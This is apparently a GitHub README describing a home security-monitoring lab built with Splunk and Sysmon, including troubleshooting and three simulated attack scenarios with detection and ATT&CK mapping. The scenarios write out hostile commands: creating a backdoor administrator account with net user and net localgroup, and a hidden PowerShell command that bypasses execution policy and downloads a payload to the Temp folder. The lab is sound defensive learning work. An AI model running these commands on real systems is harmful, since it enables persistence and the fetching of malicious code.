MynBox/soc-homelab-splunk
GitHub: MynBox/soc-homelab-splunk
Stars: 0 | Forks: 0
# 家庭实验室 SOC / SIEM:Splunk & Sysmon
## 项目描述
使用 Splunk 和 Sysmon 构建的本地 SOC 实验室,用于在 Windows 端点上收集日志并检测威胁。该设置通过生成、收集和分析日志来识别恶意行为。
## 架构与技术
* **SIEM:** Splunk Enterprise(物理机)
* **目标端点:** Windows 11 VM
* **日志收集器:** Splunk Universal Forwarder
* **遥测数据:** Microsoft Sysmon(SwiftOnSecurity 配置)
* **网络:** 通过端口 `9997` 进行本地通信
## 阶段 1:基础设施部署与可见性(已完成)
建立 SOC 基础设施以实现对目标机器的完全可见性。
* 安装并配置了 Splunk Enterprise 服务器。
* 部署了隔离的 Windows 11 VM。
* 安装了 Sysmon 以捕获进程创建、网络连接和其他高级事件。
* 在端点上部署了 Splunk Universal Forwarder。
* 配置 `inputs.conf` 以摄取:
* `WinEventLog://Application`
* `WinEventLog://Security`
* `WinEventLog://System`
* `WinEventLog://Microsoft-Windows-Sysmon/Operational`
### 在 Splunk 中可视化 Sysmon 日志

### 端点遥测源

## 故障排除
Sysmon 日志最初未能在 Splunk 中显示。
* **问题:** System 和 Security 日志摄取正常。即使 `inputs.conf` 配置有效,Splunk 索引中也没有出现任何 Sysmon 事件。
* **调查:**
1. 验证了 Windows 事件查看器中本地生成的 Sysmon 日志。
2. 检查了 Splunk agent 内部日志 (`splunkd.log`)。
3. 发现此错误:`WinEventLogChannel::init: Init failed, unable to subscribe to Windows Event Log channel 'Microsoft-Windows-Sysmon/Operational': errorCode=5`
### 日志分析发现根本原因

* **解决方法:** 错误代码 5 表示“访问被拒绝”。SplunkForwarder 服务在受限用户账户下运行,无法读取 Sysmon 日志通道。将服务登录账户更改为 Local System。数据摄取立即开始。
### 解决问题(Local System 权限)

## 阶段 2:攻击、检测与威胁狩猎
### 场景 1:后门账户创建与权限提升
在此场景中,我模拟了攻击者通过创建隐藏本地账户并将其权限提升至管理员来建立持久性。
* **攻击执行 (Red Team):** * 执行 `net user hacker Password123! /add` 创建一个新的后门账户。
* 执行 `net localgroup Administrateurs hacker /add` 授予该账户完整的系统权限。
* **威胁狩猎与日志分析 (Blue Team):**
* 利用 SPL (Splunk Processing Language) 查询已摄取的 Windows Security 事件日志。
* 成功识别出 **Event ID 4720**(已创建用户账户),显示了确切的时间戳和用于创建后门的受损管理员账户。
* 将该事件与 **Event ID 4732**(成员已被添加到启用安全的本地组)关联,证明了 `hacker` 账户被添加到了 `Administrators` 组。
* **检测工程:**
* 创建了一个实时关键 Splunk 警报:`[CRITICAL] User Added to Administrators Group`。
* 将检测映射到 MITRE ATT&CK 框架:**T1098 (Account Manipulation)**。
#### 分析师笔记(纵深防御)
* 最初搜索 Sysmon Event ID 1 (Process Creation) 以跟踪命令执行。由于 XML 渲染配置 (`renderXml = 1`),在 Splunk 中遇到解析挑战。
* 成功转向 Windows 原生 Security 日志作为备用方案,展示了 SOC 环境中日志冗余和纵深防御的关键重要性。
#### 可视化攻击生命周期




### 场景 2:“Living-off-the-Land” Payload 下载
在此场景中,我模拟了一种常见的恶意软件行为:使用原生 OS 工具静默从互联网下载恶意 Payload,绕过基本的杀毒软件检测。
* **攻击执行 (Red Team):** * 执行了一个重度混淆的 PowerShell 命令:`powershell.exe -nop -w hidden -ep bypass -Command "Invoke-WebRequest -Uri 'https://example.com' -OutFile 'C:\Windows\Temp\payload.ps1'"`
* 该命令隐藏窗口,绕过执行策略,并将文件释放到 `Temp` 目录中。
* **威胁狩猎与日志分析 (Blue Team):**
* 利用 Splunk 狩猎可疑的 PowerShell 执行。
* 成功识别出 **Sysmon Event ID 1 (Process Creation)**,捕获了确切的恶意命令行参数(`-w hidden`, `-ep bypass`)。
* 与 **Sysmon Event ID 11 (File Create)** 关联,证明 Payload 已成功释放到 `C:\Windows\Temp\payload.ps1`。
* **检测工程:**
* 映射到 MITRE ATT&CK 框架:**T1059.001 (Command and Scripting Interpreter: PowerShell)** 和 **T1105 (Ingress Tool Transfer)**。
#### 可视化威胁

### 场景 3:本地认证暴力破解与数据可视化
在此场景中,我模拟了本地暴力破解攻击,以测试 Windows 认证日志记录,并为 SOC 监控创建了可视化仪表板。
* **攻击执行 (Red Team):** 在 Windows 锁定屏幕上故意多次失败登录尝试,以触发 Windows 账户锁定/延迟机制。
* **威胁狩猎与日志分析 (Blue Team):**
* 在 Splunk 中查询 **Event ID 4625**(账户登录失败)。
* 识别了目标账户和失败尝试的次数。
* **检测工程与可视化:**
* 使用 Splunk 的 SPL `stats count by Nom_du_compte` 命令聚合失败登录。
* 构建了自定义 **SOC 仪表板**,采用饼图实时可视化最受针对性的账户。
* 映射到 MITRE ATT&CK 框架:**T1110 (Brute Force)**。
#### 可视化暴力破解攻击


标签:Access Denied, AMSI绕过, Home Lab, inputs.conf, Splunk Enterprise, Splunk 配置, SwiftOnSecurity, Sysmon, Universal Forwarder, Windows 11, Windows 事件日志, 威胁检测, 安全实验室, 安全架构, 安全运营, 恶意行为分析, 扫描框架, 故障排查, 时间线生成, 权限配置, 端口 9997, 网络安全, 虚拟化环境, 速率限制, 遥测数据, 隐私保护